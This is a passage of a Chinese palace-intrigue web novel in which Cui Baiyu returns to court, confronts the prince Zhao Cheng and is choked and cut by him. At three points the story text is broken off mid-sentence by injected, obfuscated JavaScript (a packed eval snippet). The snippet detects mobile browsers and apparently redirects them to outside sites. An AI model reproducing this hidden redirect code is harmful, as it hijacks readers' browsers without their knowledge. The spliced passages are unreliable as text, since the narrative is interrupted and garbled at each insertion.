马车赶往皇城的同时,棺盖嘎吱一声,开启的瞬间,一股浓烈的尸臭开始向四周弥漫,拿着铁锹的小太监几欲作呕,可看见赵丞的脸色愣是忍了回去,小心翼翼将棺盖彻底打开。 然而棺椁里的尸体已经开始肿胀腐烂,尤其是脸部,根本无法看清面容。 可古往今来都死者为大,讲究入土为安,落叶归根。 现如今,他们做出这种事肯定是要遭天谴的,周正德额头冒出许多冷汗,脸色惨白如纸,“殿下,棺椁里的人应该是崔姑娘,奴婢曾见她佩戴过那枚玉佩。” 事死如生,死亡如存,可不能再做出过分的事了! 一个玉佩证明不了什么,赵丞将尸体从头到脚打量一遍,心里升起淡淡讥讽。 显然,崔白玉那些小技俩只能骗一骗不了解她的人。 周正德猜不透他的心思,试探地说:“如果殿下还想调查她的死因,一会儿奴婢去大理寺叫来几个仵作验尸,这天儿马上就要下雨了,还是赶紧离开罢。” “埋回去。”仅是三个字,好似裹挟着无尽寒意,赵丞眼睛里看不出任何感情,转身离开,步伐沉稳带着肃杀之气。 周正德听言赶紧吩咐人把埋回去。 过了一会儿,京城大雨瓢泼,天色也彻底暗下来。 神武门外一前一后停着两辆马车,周正德撑着伞去接赵丞,等人之际回头瞧了一眼,心想:“这都要宫禁了,居然还有人要出宫?” 一阵一阵的朔风,宽大的衣袍在风中猎猎作响,赵丞接过伞,回头看了一眼并未理会。 殊不知,此时此刻在另一辆马车上,崔白玉捂着自己的小心肝,手心里全是黏腻的汗水,大气都不敢出,直到听见车夫说人走远了才赶紧从马车上下来。 昭阳殿内灯火通明,气氛却是一片死寂。 崂山仙长跪在地上,眼神中满是无助与恐惧,身体不受控制地剧烈颤抖。 孝文帝坐在椅子上,等了一会儿,还是坐不住,开始在殿内来回踱步。 齐嬛不动声色地抬眸看了一眼身旁的宫女,低声问道:“长乐在何处?” 宫女答道:“去景苑还未回来。” 此时,殿内的人心里都有些焦灼不安,齐嬛喝了一口茶顺顺气,忽然动了一个念头,“这段日子可有人盯着她?” 宫女道:“一直在盯着,并无异常。” 崔白玉已经在宫里住挺长时间了,宫女每天都注意着她的动向,感觉得她和其他小娘子并无分别。 平时里处理完事务,就折腾一些花花草草,下午要是还有时间就用刻刀雕小人,晚上去库房数钱。 一切看起来都很正常,大概,唯一让人感到奇葩的就是每天换各种各样的衣服,照一个时辰的镜子........极其自恋。 虚荣,贪财,这些东西都拿捏到崔白玉,所以,她们不觉得对方是个危险的人。 齐嬛微微垂下眼睛,脸色变得异常平静,只是还未来得及仔细琢磨,忽然殿外跑进来一位小太监回禀消息,说赵丞已经在殿外候着了。 孝文帝心中大喜,赶紧把人叫进来。 齐嬛抬眸,眼神深邃而复杂,看着赵丞一步步走进殿内,行礼,嘴角露出了一丝不易察觉的杀意。 时隔五年,他依然是眼中钉肉中刺,无时无刻的威胁着她的地位。 孝文帝眼眶湿润,眼中满是关切,他两步并一步走到赵丞面前,亲自将他搀扶起起来,“这么多年过去,你.......都长这么大。” 声音因为激动而微微颤抖。 周正德感慨万千,忍不住也跟着落下泪来。 可赵丞无动于衷,完全没有任何回应。 周围的一切仿若都静止了,孝文帝仔细地瞧着赵丞,下意识攥紧他的手,仿佛生怕这只是一场虚幻的梦。 然而,赵丞手上都是粗茧,孝文帝更觉刀子剜心般难过,“这些年,让你一个人流落在外,苦了你了。” 周正德恍然想起一件事,声音带着几分哽咽,“陛下,奴婢找见殿下的时候,身上受了重伤.......浑身都血。” 孝文帝手中动作一顿,反应过来,泪水在眼眶里打转,朝着殿外喊了一声,“快来人,去叫太医!” 赵丞收回手,后退了一步。 他衣襟带着血迹,嘴唇更是连一线血色都没有。 “这些年是朕对不起你.......”孝文帝感受到他的疏离,双手不自觉地握紧拳头,“可知道是何人伤你?” 赵丞抬眸看他,开口道:“儿臣也在找她。” 说到这,周正德便把那日在山林找见他的事情述说了一遍,“小殿下这些年吃了不少苦,奴婢遇见殿下的时候,正在给崔家的姑娘当侍卫.........” 可尽管如此,他提出回宫,赵丞也是极力抗拒,最终还是搬出江山社稷的安危才把人带回来。 孝文帝微微仰头,深吸一口气,问道:“为何不回来见父皇?” 赵丞面不改色地说:“在父皇眼里,儿臣不是已经死了吗?” 话落,孝文帝一手捂住自己的胸口,艰难地喘息。 是了,当初为了平息谣言,他将人扔在相国寺,之后,他后悔想要弥补,却发现一切都晚了。 谣言非但没有平息,反而还坐实了灾星的名号,彻底失去他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15364051|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 齐嬛冷眼旁观看了半天父子重逢的场面,忽然意味深长地说:“既然如此,那就先安排下来休养一阵子罢。” 孝文帝接过话头,坚定道:“也好,你安心休养,剩下的事都交给父皇,这些年你蒙受的冤屈,父皇一定会帮你讨个公道!” 这个话就透着太玄了,齐嬛脸色陡地沉下来。 前几日,两人因为储君的人选发生争执,倘若赵丞真的洗清罪名,赵辛毫无优势,那岂不是成了储君的不二人选。 崂山仙长把脸贴在地上,努力降低自己的存在感。 片刻之后,太医提着药箱赶到昭阳殿,周正德带着赵丞去偏殿检查伤口。 殿内再次恢复平静,孝文帝面若冰霜,瞥了一眼角落里的崂山仙长,厉声道:“四处散播诋毁天家的昏言悖语,你罪该万死!” 在背后推波助澜的人更甚。 齐嬛双手端上的盖碗茶抿了一口,没再说话,缓缓站起身,离开了昭阳殿。 第二日中午。 崔白玉听闻崂山仙长被一团蓝色的大火活活烧死,才意识到孝文帝不光是个吃斋念佛的软柿子。 京城的流言蜚语几乎在一夜之间消失了。 桃酥见她身着一身月白绫罗长裙,直接坐在廊下捣鼓东西,不免有些心疼。 可那人坐在长廊下举手投足,贵气尽显。 桃酥一脸欢喜地凑过去,笑道:“郡主的手真巧,做出来的灯笼真的好漂亮!” 她手里的灯笼呈八角形,框架由竹条编制,外皮则是用半透明的宣纸糊就。 崔白玉笑了笑,旋即,用蜡烛点亮了灯芯。 蓝色的火苗瞬间燃起,透过薄如蝉翼的宣纸,将灯笼衬得煞是好看。 桃酥激动地叫了一声,惊喜道:“是蓝色的火焰,好漂亮!” 崔白玉微微侧过身,将旁边的灯笼也全部点亮。 一时间,地上亮起的灯笼纷纷呈现出好几种颜色。 桃酥张大嘴巴,震惊了好半天才说出话来,“红色,橙色,蓝色,绿色........姑娘你是怎么做到的?” 她一直以为崔白玉半夜起来捣鼓东西,只是因为闲得睡不着,没曾想,她会做出这些令人惊喜的东西! 崔白玉不紧不慢地拿起案几上的一张纸递给桃酥,“你找些卖灯笼的店铺老板,把这些灯笼的制作方法低价卖给他们。” 五颜六色的火焰配上乖巧可爱的灯笼皮,只要过上半个月,不说家家户户都有这么个小玩意,但也能让城里的百姓潜意识的接受它。 这个法子,能冲淡百姓对鬼火的恐惧,如此一来,也不会再将赵丞想得那般凶神恶煞,青面獠牙。 桃酥只当是她一时突发奇想,夸赞半天,想着库房又多了一笔可观的收入就欢天喜地地跑开了。 崔白玉默默叹了口气,盯着那些灯笼看了一会儿,沉默良久,慢慢别开了视线看向院里盛开的荷花。 如今,这也算是在暗中帮了赵丞一把,若是将来不幸打了个照面,她或许还能开口狡辩两句,留个全尸。 崔白玉在心里安慰着自己,祈祷着尽量不要碰面吧。 37. 重逢 三年时间一晃而过。 小白已然长成一只俊俏的大猫。 桃酥看见它在窗边躺着晒太阳,忍不住捞起来颠了颠,“又胖了,太子殿下不会又给你加餐了罢?” 小白喵了一声,挣脱她的手,跑到书案前,一跃而上,卧在了少年人的手边。 “没有哦。”赵辛并未理会,低头认真翻看书籍。 “那真是奇怪了,奴婢每天只喂它两次,小白又从来不吃外人给的东西,怎么会胖呢?”桃酥心里犯嘀咕,抬眸看过去,有一瞬恍惚。 前一阵子听宫女私下议论,说小太子长得像瓷娃娃一样精致漂亮,她起初还没在意。 现在仔细瞧瞧,眼前人肤白胜雪,眉目如画。 昔日的孩童已经开始展现出少年人英俊容貌和不凡气质。 桃酥愣了片刻,长叹一声,“算算日子,郡主也该回来了,怎么还有收到消息? 赵辛刚刚抄了一遍《黄帝内经》,抬起头来,端起手边的茶盏,刮了刮表面的茶叶,没有吭声。 桃酥欣喜道:“两年未见,郡主回来怕是该认不出你了?” 赵辛深深地看了小白一眼,不咸不淡地说道:“在外面跑这么长时间,也不定会回来。” 近两年来,宸王风头无两,朝廷各种阴谋诡计层出不穷,说不定哪天自己就死在了朝堂权势斗争中。 崔白玉心里好似不装事,居然真就将他扔在了京城。 听了这句话,桃酥不禁怀疑自己说错话,多了个心眼,“太子殿下宽心,郡主每月差人送来的信件,十有八九都是问殿下近况,郡主一定是殿下放在心尖上的,至于一直没有回来,定是有难言之隐!” 谁都知道东宫冷清,崔白玉若真是不愿回来,倒也挺好,免得以后他被废黜,牵连到她。 赵辛思索片刻,目光幽幽地闪动着,一抬头就看见桃酥担忧地望着自己,轻声开口,“怎么了?” 说罢起身去到了院子,垂眸掩盖了如释重负的眼神。 三年前,齐嬛力排众议,将他成功推上太子之位,继而把持朝政。 可尽管如此,孝文帝也将赵丞封为宸王,宸字代指帝王所居,又引申为帝王的代称。 对此,文武百官皆是心照不宣,赵丞亦是有这个心思。 皇权,古往今来,都是争个你死我活。 尤其是这几年赵丞的势力遍布朝野,又手握兵权,自己迟早会被抹杀。 崔白玉这些年摸爬滚打,好歹是让自己性命无忧,他已经知足了。 桃酥帮他披了件衣服,笑嘻嘻地说道:“小殿下,你也别伤心,要是郡主真的不回来,咱们就搬着她的金库远走高飞!” 要知道,咱们大梁最有钱的就是长乐郡主! 赵辛默默地点点头,桃酥在他耳边小声说道:“两年前,她帮东厂办事,无非都是些抄家的活计,而且都是京城三品以上官员,油水多,她偷偷藏起来金子差不多要堆成一座小山了。除此之外,她还结党营私.......收礼呢,嗯,不对不对,是潜入敌方内部,同流合污,然后黑吃黑吞下对方产业,现在,要是想用一个词形容长乐郡主,除了有钱二字,奴婢可实在是想不出其他的。” 长乐郡主的名声在京城确实差了点意思。 赵辛叹了口气,微微放缓了神色,叮嘱道:“桃姐姐,以后这些事可不要再说了。” “哪敢,奴婢也不是傻子。”桃酥当知道这些都是杀头的大罪。 可坐在高位的那些人,谁是干净的? 她只是觉得惋惜,以往那个单纯善良的小白花不见了。 桃酥跟着崔白玉混了这么久,耳濡目染,自然也不再是之前那个虎头虎脑的愣头青。 两个人在说话,忽然间有个小太监气喘吁吁地跑进院子,“太子殿下,长乐郡主回来了!这会儿已经到皇宫了。” “回来了?”桃酥挂了一脸的愁容突然不见了,惊喜道,“奴婢这就去厨房准备膳食!” 等她回来,黄花菜都凉了,赵辛抬手拦住了桃酥,道:“今晚怕是回不来,太后那边汇报完消息,安公公也要见一面,还有徐大人,等她应酬完回来,怕是要深夜了。” 桃酥道:“还真是。” 回来肯定要忙着应酬各种事情。 两年多没回来,崔白玉慢吞吞从马车上走下来,把玩着手中的竹扇,站在宫门外颇有些感慨。 这次回来怕是要待很长时间,也不知道小太子如何了? 小白不会让他们喂得骨瘦如柴了吧? 正胡思乱想,安德友一眼就瞧见了那人,稳着步子走过去,笑道:“回回走后门,你这是怕被谁瞧见?” 崔白玉周身华光流转,手腕上叠戴着数串珠链,随着她的动作轻轻晃动,发出清脆悦耳的声响,然而这珠链瞧着平平无奇,实际上价值连城,甚至在京城这种寸土寸金的地方买套宅子都绰绰有余。 她只有身上穿得是金丝织就的襦裙,一眼就能瞧出材质极为上乘。 一番考究的打扮将她的面容映衬得娇艳动人,甚至添了几分神秘与高贵。 她揶揄道:“提督大人,真是客气了,这么热的天居然还亲自出来接一趟。” “想多了,咱家出宫办事,恰巧碰见,”安德友把崔白玉周身上下打量一番,打了声招呼就钻进轿子,“泰和楼有接风宴,咱家给你准备了惊喜。” 崔白玉眉眼含笑,直接就应下了:“好啊。” 这次下江南,太后暗中授意,一是去官府查账,二是调查徐家在江南的营生。 别的不说,崔白玉本来就是个商人,最上擅长的就是查账,刚到那里时候,太后倚重她,受宠的地位固若金汤,底下的官员对她都有所忌惮,极力配合。 可账本上的税收就是有问题,他们也不得不采取行动。 什么送礼啊,刺杀啊,崔白玉都照单全收,等安顿下来,让府衙内所有的官员集中在院子里,然后搬出一叠叠的账本,整理旧账,连夜翻查。 果不其然,发现一大堆问题。 她向来都是先小人后君子,在京城作奸犯科的事没少做,可刚到这种地方,人生地不熟,快刀斩乱麻,一下子全得罪了,心里也没底,崔白玉还是选择了一种温和的方式,烧了所有账本,加入他们同流合污。 这一点,她是完全有把握的,毕竟她的后台很硬。 之后以剿匪的名义,在江南又待了一年,直到理清了他们背后的人物关系和靠山,开始着手清理门户。 至于为何又多待了半年,当然是因为不想看见赵丞和崔琅华。 第三年,崔白玉游山玩水,做些小生意,又是赚得盆满钵满。 齐嬛知晓她办事滴水不漏,再加上,每年上交上来的真金白银,也确实是解决了她的一大难题。 可人已经十八岁了,一直扣在身边也不是个事,早晚要成婚的....... 而且,这次江南之行,她不仅拉近了齐家和徐家上的生意往来,自己也扩充不少人脉。 若是她暗藏祸心,临阵倒戈.......她不得不设防。 不叫的狗咬人最狠,崔白玉表面上不动神色,可这背地里也没少挤兑花枕,连一分一厘都要争。齐嬛听她汇报完消息,微微颌首,沉默良久,没有开口说话。 崔白玉明白齐嬛是疑心病又犯了。 这会儿怕不是在想怎么捞好处,又能打压她。 齐嬛开始在心中密谋,抿了一小口茶水,道:“絮姑,你把安德友递上来的条陈给南笙看看。” 安德友的条陈?崔白玉应了一声,接过条陈,大致看了一下。 齐嬛缓缓开口道:“这是哀家收到的条陈,重修金玉园的计划,你觉得如何?” 崔白玉心里一寒,面上却不动声色,继续盯着条陈看。 齐嬛花钱大手大脚,为了气派和笼络官员,到处挥霍财力,近些年来司礼监入不敷出,而户部,军兴以来,各省军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377471|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需支出无需报销,现在要求朝廷担负,为了这笔烂账,整日摩拳擦掌,在上万银两军需奏销案。 司礼监和户部根本没多少钱,重修工程一动,起码得几百万两银子,该从何处拨款? 齐嬛把这东西交给她,无疑是下定了决心。 崔白玉请了一个安,从坤宁宫出来,已是金鸟西坠,晚霞漫天。 她稍微松了口气,想起还要去户部一趟,可这会儿人应该已经散值了,还是得明日再说。 泰和楼热闹非凡,两年没来,竟然又扩建出了一个舞坊。 崔白玉站在围栏处吹风,看了一会儿京城的夜景,站累了就半躺着在竹椅上摇扇。 她待的地方算是一个露天阳台,阳春三月,微风佛面,倒也还算惬意。 忽然听见楼底下一阵急促的马蹄声,眼皮子跳了一下。 “楼底下是方小侯爷在抓人,”安德友漫不经心地走过来,瞧见旁边案几上有个笼子盖着红布,愣了一下,眯着眼睛盯视许久,“这是什么?” “当然是送给提督大人的见面礼,”崔白玉收回目光,转过身来,“瞧瞧?” 身旁的小太监想要上前帮忙,安德友抬手拦下,亲自揭开了红布。 映入眼帘的是一只乖巧可爱的紫貂。 “混了这么些年,居然是你最懂咱家的心思。”安德友两只眼睛笑成了弥勒佛的模样,拎起笼子打量一番。 紫貂一身纯正的栗子红,没有一根杂毛,弄到手定然要费了不少心思。 安德友稀罕的不行,只想着赶紧拎回家,安置在窝里。 崔白玉又懒洋洋地靠回竹椅,“提督大人喜欢就好。” “放心,咱家不会白收你的礼物,今日接风宴,咱家也给你安排了惊喜,不过,可能还需要等一会儿。”安德友拿竹签逗笼子里的紫貂,都没瞧崔白玉一眼。 崔白玉道:“提督给我的惊喜,不会是让我修园子罢?” 安德友搁下竹签,撑着膝盖起身,无奈道:“修园子那事,说来话长,原本咱家把条陈扣下了,可这事是司礼监典簙孙道台提的重修,他没越级妄奏,是花钱让童江在太后身边打的低儿,防不胜防。” 崔白玉道:“童江?” 安德友嫌弃道:“是太后身边的禁|脔。” 司礼监和户部谁都逃脱不了,崔白玉道:“那这事提督打算如何?” 安德友道:“先拖着罢,能拖一阵子是一阵子。” 两人的想法不谋而合,崔白玉又懒洋洋地靠回去,安德友继续说道:“齐阁老半月前回老家养病了,总揽朝纲多年,京城的文武百官对他都有依赖,朝廷好多事都堆在太极殿,无人处理,就说五天前,下派到茨州的监察御史武徵上吊自杀,花枕到现在都查不出来猫腻,武徵这人半年前好不容易得来一子,身上担着一家老小,无缘无故,怎么可能自杀?茨州的事,哪是能耽搁的?别说京城为夺权之事正酝酿着一场暴风骤雨,边疆那块怕是也不安稳。” 崔白玉道:“提督的意思是让我过去?” 安德友诚恳道:“茨州情况特殊,尤其是那个刺史陆镇,他是朝廷招安过来的,手上有五万兵权,都是骁勇善战的将士。这么多年,阁老一直拿他没办法,甚至还有所忌惮,如今宸王风头太盛,咱们要是没有兵权做依仗,那就如同砧板上的鱼肉,所以,你只要把人拉拢过来,银库就都守住了,当然,还有一点要注意,咱家听闻宸王好像也去——” 话未说完,小太监叩了两声门板,埋着头进屋,低声道:“提督,人来了。” 看来是安德友准备的惊喜,崔白玉靠在竹椅上没动,只是漫不经心地望过去一眼。 门板上的铜铃轻晃。 下一刻,对上目光,崔白玉连呼吸都停止了。 那人一身玄衣,身高腿长的基础上又长了不少,广袖间织金蟒纹若隐约现,望过来的眸子如同淬了寒星,摄人心魄。 崔白玉:这是惊喜吗??? 38. 纠缠 崔白玉靠在椅子上迟迟没有动静,实则心头狂跳,掌心也渗出不少冷汗。 她忽然想从三楼高的露台上跳下去,离开这个世界。 “长乐?”安德友在官场混迹这么久,怎么可能瞧不出二人之间有事。 他的目光在二人之间稍稍徘徊,往后退了一步,自觉的给赵丞让路。 崔白玉:“!!!” 赵丞缓缓走近,目光一瞬不瞬地盯着她,“怎么,不认识了?” 冰冷的声音丝丝缕缕钻入耳膜,令人不寒而栗。 安德友心底泛起阵阵寒意,忍不住打了一个寒颤,偏偏崔白玉又坐得稳,连句客套话都不说。 放眼整个京城,谁不是对赵丞存着几分忌惮! 崔白玉怎么敢这么嚣张?! 他俯下身,拎起笼子,揶揄道:“饭钱付过了,我那还有事,就不陪着吃酒了,你们聊。” 聊你个大脑袋,你觉得这气氛对吗? 有的人看着还活着,其实已经走了很久。 此时此刻,崔白玉要是再看不明白,那就真的傻了。 安德友居然投靠了赵丞!可他是太后一手培养的人,说叛变就叛变了,这对吗? 房间的门吧嗒一声关上,屋里陷入一片死寂。 崔白玉慢吞吞地站起身,不等稳住身子,下一刻,就被赵丞单手掼到墙上,撞得皮肉生疼,眼冒金星。 紧接着,呼吸变得越来越困难。 “你可想过今日?”赵丞攥着她的脖颈缓缓收紧,琥珀色的眸子翻涌的狠厉,似是能把人活剥了。 他手上力道极大,青筋隐隐突显,似乎真的要捏碎骨骼才肯罢休。 崔白玉脑瓜子嗡嗡的,喉间腥甜翻涌,扇子也从手上脱落,根本听不清他在说什么。 在绝对的力量面前,她毫无反抗之力,只能攥着他的手臂,在上面划几道不轻不重的红痕。 “齐南笙,”赵丞俯下身,只要稍微低一下头,就能贴住那张红唇,可说出来的话像刀锋一样森冷,冷漠且残忍,“你叫这个名字吗?” 近在咫尺的那张脸带着令人窒息的压迫感。 崔白玉心里一下子更乱了,正以为自己要死的了,忽然感觉颈间一松。 赵丞收回手,后退一步盯着她看。 崔白玉两只手撑着墙壁才勉强站稳身子。 沉默良久,赵丞道:“你就没有什么想说的?” 仇人见面除了分外眼红,还能有什么?更何况她还是一脚踏入鬼门关! 崔白玉喘了几口气,弯腰捡起了地上的扇子,声音变得有些沙哑,“........没什么可说的,反正也不熟。” 赵丞微眯了一下眼睛,“不熟?” 崔白玉整理了一下衣裙,意味深长地说:“怎么,宸王殿下还想跟我沾上关系?” 一个是太后的作奸犯科的走狗,一个是储君之位唾手可得的天潢贵胄。 赵丞冷冷看着她,道:“你配?” “我当然不配了,宸王殿下权倾朝野,哪是我一个闲人能高攀的?”崔白玉将凌乱的头发拨过脑后,心道:“你应该巴不得我死。” 赵丞冷然一笑,没有说话。 这无疑是默认了,崔白玉心底咯噔一声,面不改色地倚靠在旁边的门板上,“殿下找我来,是询问军饷的事?” 赵丞道:“你觉得呢?” “问题都抛给我,”崔白玉仰头望着他,忽然意识到眼前这位已经是一米九多的个头,“殿下,我也不是什么都能想到的,如果没什么事,今日就散了。” 跟他待在一起氧气都变得稀薄了。 “可以散。”赵丞微微侧身,给她让出一条路。 崔白玉心下奇怪,捏紧手里的小扇子,胆战心惊地从他身边走过,抬眸看了他一眼。 这就放她离开了? 两人目光在空气中碰撞,不知过去多久,崔白玉侧开了脸。 赵丞视线紧紧跟随,而就在她指尖碰到房门的那一刹,开口道:“如果你想让赵辛死,现在就可以离开。” 就知道会这样!崔白玉停下脚步,回头看他,勉强维持着脸上的镇定,道:“殿下想让我做什么?” 语气有些阴阳怪气。 赵丞道:“你就这么想护着他?” 崔白玉道:“人生在世,总有几个在意的人。” 赵丞道:“因为赵呈?” 崔白玉:“........” 赵丞逼近一步,棱角分明的下颌线绷得极紧,寒声道:“为什么不说话?是提到了你的伤心处?” 你都在脑补些什么?! 崔白玉抬起扇子,遮住半张脸,“故人已去,何必重提?” “他算什么故人?”赵丞眉眼间戾气横生,朝她逼近,一把抓住她的手腕,将人抵在门板。 高大的身影罩过来,崔白玉呼吸一窒,被迫抬起下巴与他对视,眼睫微微颤动,“.........你喜欢这么和人讲话?” 水光潋滟的桃花眼勾着人,指尖翻转,去勾他腰间束紧的系带。 两人近得闻得见彼此身上的味道,赵丞抓住那只作乱的手,猝然加重力道,咬牙切齿道:“死性不改。” 她的内里就像永远剥不完的面具,任何人都无法窥见真心。 崔白玉冷汗瞬间浸透后背,用尽全力扯出一抹笑,道:“怕我再捅你一刀?” 不仅招惹他,还想要置他于死地。 “若是还想杀我,随时奉陪。”赵丞脸色瞬间阴沉下来,不知从哪里拿出的刀刺过去。 崔白玉以为那匕首是刺向自己,下意识抬手握住刀刃,很快,掌心有鲜血流出,浸透了赵丞半截衣袖。 皮肉被撕裂开来,剧痛如潮水般涌来,崔白玉,松开了刀刃,痛苦地抽了一口气,“就算你杀了我,也未必能得到你想要的。” 她手里还攥着京城禁军的军饷,赵丞若是把她杀了,那他这辈子都别想看到银子。 赵丞居高临下,一双琥珀色的眸子极为幽深,脖颈上青筋暴起,望着崔白玉脸色也越发冷凝,将匕首扔在一旁,像是在发泄脾气。 半截刀身没入地板,可见其锋利。 崔白玉手上的血还一直在流,脸上又添了几分楚楚的羸弱相。 赵丞双目紧阖,双手握拳,复又睁开眼,死死的盯着她。 崔白玉完全摸不着头脑,心中一阵后怕。 等人走后,崔白玉就让影卫过来包扎了伤口,但脖子上的伤就没办法了。 五个手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15384704|164567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印异常鲜明,明日肯定会留下淤青。 晚风习习,桃酥坐在门口的台阶上等到半夜,见崔白玉的马车过来,心情太过激动一下子就站起身,然后感到一阵眩晕,脚步发虚,还是赵辛第一个迎上去。 “长高不少吗,”崔白玉走下马车,握住赵辛的手,顺势揉了揉他的小脑袋瓜儿,“不是派人过来传信了吗?我晚上回来得晚。” “睡不着就过来了,”赵辛嗅到了一丝不寻常的气息,认真地看了一下崔白玉,“你受伤了?” 桃酥差人搬下马车的行李,听到这话,震惊道:“什么!好端端地怎么会受伤啊?” 崔白玉轻轻笑了下,左手揽过赵辛,右手拦住桃酥,带着人往院里走,“无碍,自己不下小心划的。” 突如其来的亲密接触,赵辛四肢僵硬,本来一脸担忧的小脸瞬间变得通红,“崔姐姐!” “嗯?” 赵辛是个小古板,崔白玉见到他们太开心了,一时间把规矩都往了。 她松开手,朝他歪了歪脑袋,“姐姐给你们带了礼物,都去睡觉罢,明早过来找我要。” 桃酥惊奇道:“明早?” 日上三竿都起不来的人,谈早上,这是改头换面了? 崔白玉唔了一声,不知为何,总感觉身后有一股凉飕飕的视线盯着她。 熟悉又陌生。 她回头瞧了一眼,赵辛有所察觉,抬眸不经意间瞥见了崔白玉围巾下的手指印,心下一惊,“崔姐姐........” 崔白玉身上怎么会有这种东西? 难道是…… 他蓦然间想起前几日在话本子上看到的内容。 那次桃酥收拾书架,不小心将自己看的话本子搞混了,也放在赵辛的书架上。 赵辛拿到手里,看见书名眉头紧皱,俏寡妇勾走高冷王爷芳心.........书名有些一言难尽,可崔白玉也爱看话本子,出于好奇,他也认真地看了一下。 开头,主人公意外死了丈夫,为伸冤千里迢迢来到京城,结果遭到歹人威胁,发生了英雄救美的桥段,这一情节中,彼此都留下了美好的印象,之后随着主人公的相遇,故事的走向开始荒唐且无厘头,完全身份完全不对等的两个人,不被世俗认可,女主人公觉得自己有罪,耽误了王爷的名声,便深夜前往王爷房中忍痛告别,而就在这里,话本子发生了一些面红耳赤的情节。 王爷是个极端的疯子,为了留住人,竟然用绳子将人绑在屋中........然后两手紧紧握住寡妇的颈子,宽衣解带........ 赵辛只看到这,就被飞奔而来的桃酥夺去了话本子。 他当时还问桃酥来着,“他们在做什么?” 桃酥脸不红心不跳地说:“他们在相爱。” 相爱......崔白玉也相爱了吗? 赵辛看着她,眼神流露了出了担忧。 他并不觉得话本子里的王爷爱上了寡妇,爱一个人是珍视,心疼,小心翼翼.......他怎么如此粗暴? 崔白玉并不知道赵辛被话本子荼毒,一双眼绽出光华,哄小孩似的语气问道:“怎么了?” 赵辛低下头,欲言又止,觉得这事实在难以启齿。 桃酥也是一头雾水。 39. 风月 崔白玉回到房间,躺在床上翻来覆去地琢磨酒楼的事。 现在安德友投靠赵丞,无疑是断了太后一条手臂。 如果在这个时候推翻太后.......还是不太行,风险太大。 崔白玉坐起身,默默叹了口气。 那匕首锋利,掌心的伤口洒上不少药粉,还是疼得厉害。 当初刺赵丞一刀,应该比这个还疼,而且花枕还在上面涂了毒。 崔白玉觉得太阳穴隐隐作痛,起身去书案,点上蜡烛,翻了翻这些年送礼人员名单,直到黎明时,这才有了困意,躺回床上。 到了中午,桃酥安排人进屋帮着梳洗。 崔白玉迷迷糊糊地伸了个懒腰,穿好衣服,问道:“太子在书房?” 桃酥正帮崔白玉描眉,注意到她脖颈上掐痕,手中的动作轻柔了几分,“早上宫里来了人,太子殿下被召进宫了。” 崔白玉道:“陛下叫走的人?” 桃酥答道:“对,每隔一段时间都会传殿下入宫考核功课。” 崔白玉神情微变,用过午饭,就坐上马车,准备去趟金玉园,然而马车还未走出二里地,忽然从巷子里跑出来一位妇人,跪在道路中间。 马车猛然停下,崔白玉为了稳住身子,慌乱间用手撑了一下差点没惨叫出声。 这些年她遭遇过不少刺杀,随行人员皆是由影卫扮成。 此时,梅泽奕将手按在腰间的刀柄,观察着周围动静。 妇人重重磕了一个头,在地面留下血迹,凄厉地高升哭喊:“民妇,求长乐郡主伸冤!” 真是奇了怪了,有冤就去大理寺或御史台,再不济还有宸王手里的锦衣卫。 对了,这两年锦衣卫风头正盛,虽说审讯手段残忍,但翻了不少冤假错案,还算得民心。 点名道姓找长乐郡主?这不是闹着玩呢吗? 周围渐渐多了不少围观的人群,崔白玉都没往外看一眼,敲了一下门板,示意梅泽奕别搭理她。 梅泽奕会意,驱赶马车从她身边绕了过去。 妇人见状,当即把心一横,踉跄着起身去追马车,甚是不顾安危伸手去抓上面的物件。 梅泽奕当即拔出刀,抵在了妇人的脖子上。 妇人根本不在乎,被马车拖着走了几步,仍旧哭诉道:“郡主,民女有冤,民女要伸冤!” 马车停了下来,崔白玉抬手撩开帘子,上下打量着人,一双桃花眼不经意间带上了几分盛气凌人的架势,“拦轿呼冤,你找错人了。” 妇人抽泣道:“民女就是来找郡主的!” 两年前,京城一直有个传言,说长乐郡主菩萨玉面,蛇蝎心肠。 一介女子和东厂的人整日厮混在一起,能是什么好人? 殊不知,崔白玉论心机、手段、才华,样样不缺,只是在京城的名声极差,主动找上门来的大多是别有用心之人。 有的想升官,有的想发财,总之都是利益驱使。 这不要命的她还是第一次见。 崔白玉不知这妇人打得什么算盘。 正思量间,妇人还是紧紧抓着马车,开口道:“民妇茨州衡山人,是武徵的妻子。” 监御史武徵,崔白玉昨天还听安德友跟她絮叨这事,“为何找上我?” 梅泽奕收回刀。 许氏道:“大理寺曹大人不在京城,是他女儿曹小姐让民妇来找你。” 是曹怡,崔白玉微眯了一眼睛,“理由。” 